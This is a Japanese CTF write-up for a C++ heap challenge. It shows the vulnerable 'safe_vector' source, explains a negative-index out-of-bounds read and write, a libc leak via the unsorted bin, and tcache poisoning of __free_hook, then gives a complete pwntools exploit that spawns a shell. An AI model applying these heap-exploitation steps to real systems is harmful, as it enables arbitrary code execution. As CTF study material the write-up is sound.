TL;DR

  • 領域外アクセスを防ぐために添え字を配列のサイズで割った余りが用いられているがC++では負数の余りが負数となるので上向きの領域外アクセスは出来る
  • これでunsorted binに繋がれたチャンクを覗いてlibc leakする
  • なんかいい感じにfreeされたチャンクのサイズやfdを書き換えて__free_hook付近をtcacheに繋ぐ
  • この辺のポインタを得た際にその前のデータが入ってくれるのでちょうどsystem("/bin/sh")となるようにする

Prerequisite

  • C++の仕様
    • 負数の余りもまた負数となる
    • std::vectorの仕様
      • []による添字アクセスは特にチェックが無い
      • サイズの拡張が行われる際にポインタはfreeされる

Writeup

次のC++製のソースコードをコンパイルしたバイナリが与えられる

#include <iostream>
#include <vector>

template<typename T>
class safe_vector: public std::vector<T> {
public:
  void wipe() {
    std::vector<T>::resize(0);
    std::vector<T>::shrink_to_fit();
  }

  T& operator[](int index) {
    int size = std::vector<T>::size();
    if (size == 0) {
      throw "index out of bounds";
    }
    return std::vector<T>::operator[](index % size);
  }
};

using namespace std;

int menu() {
  int choice;
  cout << "1. push_back" << endl
       << "2. pop_back" << endl
       << "3. store" << endl
       << "4. load" << endl
       << "5. wipe" << endl
       << ">> ";
  cin >> choice;
  return choice;
}

int main() {
  safe_vector<uint32_t> arr;

  do {
    switch(menu()) {
    case 1:
      {
        int v;
        cout << "value: ";
        cin >> v;
        arr.push_back(v);
        break;
      }
    case 2:
      {
        arr.pop_back();
        cout << "popped" << endl;
        break;
      }
    case 3:
      {
        int i, v;
        cout << "index: ";
        cin >> i;
        cout << "value: ";
        cin >> v;
        arr[i] = v;
        break;
      }
    case 4:
      {
        int i;
        cout << "index: ";
        cin >> i;
        cout << "value: " << arr[i] << endl;
        break;
      }
    case 5:
      {
        arr.wipe();
        cout << "wiped" << endl;
        break;
      }
    default:
      return 0;
    }
  } while (cin.good());
  return 0;
}

__attribute__((constructor))
void setup() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
}

std::vectorを改造したものを操作する。

std::vectorにはv[i]に対する添字iのチェックが無いのでstoreloadで領域外アクセスができそうな予感がするが、残念ながらreturn std::vector<T>::operator[](index % size);のように添え字をサイズで割った余りを使っているので出来ない。

と思うが、実はCやC++では負数を割った余りも負数になる。例を挙げると$-31 = 17\times (-2) + 3$であり、除法原理ではだいたい3が余りとして扱われるが、$-31 = 17 \times (-1) - 14$も同時に成り立っており、C++ではこちらが返される。

というわけでsizeを超えた領域外アクセスは出来ないが、-sizeまでのインデックスならアクセスすることが出来る。これでできそうな事は次の通り

  • データが入ってるチャンクの上にfreeされたチャンクがあるなら、そこからHeap領域中のアドレスやlibc中のアドレスを読む
  • データが入ってるチャンクの上にあるfreeされたチャンクのメタ情報を書き換えてtcache等を好みのアドレスに繋ぐ
  • チャンク自身のサイズを書き換える

また、std::vectorは現在のサイズを越えてデータを格納すると、サイズを2倍にしてreallocが発生するらしい。この時に古いチャンクはfreeされるのでサイズがどんどん大きくなる形でチャンクがHeap領域に溜まっていくことになる。

まずはこの性質を利用してlibc leakをする。配列が非常にデカくなるなら、チャンクのサイズも大きくなるため、push_backを繰り返して0x420より大きいサイズのチャンクを用意し、それに限界までpush_backしてから、更に要素を追加することでこのチャンクはfreeされる。運良く、最初に領域を確保してからfreeされるため、先にtopチャンクからチャンクが切り取られた後にfreeが行われ、topチャンクとの結合は行われない。よってunsorted binに送られることになる。

新たな配列は既にfreeされたチャンクと同等のサイズを持っているので数回push_backを繰り返せばサイズが大きくなることでv[-size+1]までアクセスすることが出来る。これで、1つ上のチャンクがunsorted binに送られた際にfd,bkに書き込まれたlibc中のアドレス(main_arena+0x60に相当する)をloadで見ることが出来る。

続いて行うのは__free_hookをtcacheに繋ぐことである。次のような事情によってサイズ0x20のtcacheに繋ぐ事は諦め、サイズ0x30のtcacheを狙う。

  • __free_hookが配列の先頭ポインタになってしまうと、systemの値を入れたとしてもfreeされた時にsystem(system)となってしまう
  • というわけで__free_hookの上にあるアドレスから書き込もうとするが、サイズが0x20だと、wipe時にサイズが0になる都合上、サイズの拡大によるfreeが発生し、サイズヘッダが無くて怒られる
  • というわけでサイズヘッダを作ろうとするが、wipe時にサイズが0になる都合上、添字-2のアクセスすら出来ない(サイズが2なので0扱いになる)

手順はだいたい次の通り

  1. 0x30より大きいチャンクが得られた時にそのサイズを0x30に偽装し(PREV_INUSEを立てたりするために値としては0x31にする)、tcacheのカウントを増やす(これが無いと__free_hook付近をチャンクとして得る前にカウントが0になってここから取得されなくなる)
  2. __free_hookのアドレスより0x8だけ小さいアドレスをtcacheに繋ぐ。これにはlibc leak時同様、負のインデックスで0x30のtcacheの先頭に来ているアドレスにアクセスしてstoreする
  3. wipeして再び配列を作り始める
  4. 0x30のtcacheからチャンクが取られると、次に__free_hook付近が得られるが、次にfreeされた時にまたそのチャンクが戻ってきてしまうのでそのチャンクのサイズを0x20に変更してからfreeする
  5. wipeして再び配列を作り始める
  6. 0x30のチャンクを取得した際に、元の配列から値がコピーされるので先頭に"/bin/sh"を入れ、__free_hooksystemのアドレスが来るように値を入れていく
  7. サイズ超過が起こった時に値がコピーされてから古いチャンクがfreeされるのでこの時にsystem("/bin/sh")が発火してシェルが取れる

Code

from pwn import remote, ELF, process, u32
import sys


cnt = 0


def choice(c: int):
    sc.recvuntil(b">> ")
    sc.sendline(str(c).encode())


def push(x: int):
    global cnt
    choice(1)
    sc.recvuntil(b"value: ")
    sc.sendline(str(x).encode())
    cnt += 1


def store(idx: int, v: int):
    choice(3)
    sc.recvuntil(b"index: ")
    sc.sendline(str(idx).encode())
    sc.recvuntil(b"value: ")
    sc.sendline(str(v).encode())


def load(idx: int) -> int:
    choice(4)
    sc.recvuntil(b"index: ")
    sc.sendline(str(idx).encode())
    sc.recvuntil(b"value: ")
    v = int(sc.recvline())

    return v


# vectorのポインタごと抹消されるっぽい
def wipe():
    global cnt
    choice(5)
    cnt = 0


def attach_wait():
    input("[+] Attach Waitng...")
    print("[+] done")

DEBUG = False
if len(sys.argv) > 1 and sys.argv[1] == "-d":
    DEBUG = True


binary_name = "./chall"
elf = ELF(binary_name)

if DEBUG:
    libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
    arena_offset = 0x7f1afbf82b80 - 0x7f1afbd97000
else:
    libc = ELF("./libc.so.6")
    arena_offset = 0x7f4ccca01b80 - 0x7f4ccc816000


sc = remote("localhost", 13337)
# sc = process(["./chall"])

for i in range(0x210):
    push(i)

v1 = load(-0x204)
v2 = load(-0x204+1)

libc_leak = (v2 << 32) + v1
libc_arena = libc_leak - 96
libc_addr = libc_arena - arena_offset
print(f"[+] leak: {libc_addr:x}")

free_hook_addr = libc_addr + libc.symbols["__free_hook"]
system_addr = libc_addr + libc.symbols["system"]
one_gadget_addr = libc_addr + 0xe6e73

print(f"[+] __free_hook: {hex(free_hook_addr)}")
print(f"[+] system     : {hex(system_addr)}")

wipe()

for i in range(16):
    push(0xba0000 + i)

store(-2, 0x31)

for i in range(16,32):
    push(0xba0000 + i)

target = free_hook_addr - 0x8

free_hook_bottom = target & 0xffffffff
free_hook_top = target >> 32

if free_hook_bottom & 0x80000000:
    free_hook_bottom -=0x100000000

store(-20, free_hook_bottom)
store(-19, free_hook_top)

wipe()

for i in range(8):
    push(0)

store(-2, 0x21)

wipe()

push(u32(b"/bin"))
push(u32(b"/sh\x00"))

system_bottom = system_addr & 0xffffffff
system_top = system_addr >> 32

if system_bottom & 0x80000000:
    system_bottom -= 0x100000000

push(system_bottom)
push(system_top)

push(0)

attach_wait()

sc.interactive()

Flag

ローカルでシェル取っただけ

(ところで、libc leakのために600回程度通信してるけど、タイムアウトがあったら解けない可能性がある事にWriteupを書きながら気付いた)

Resources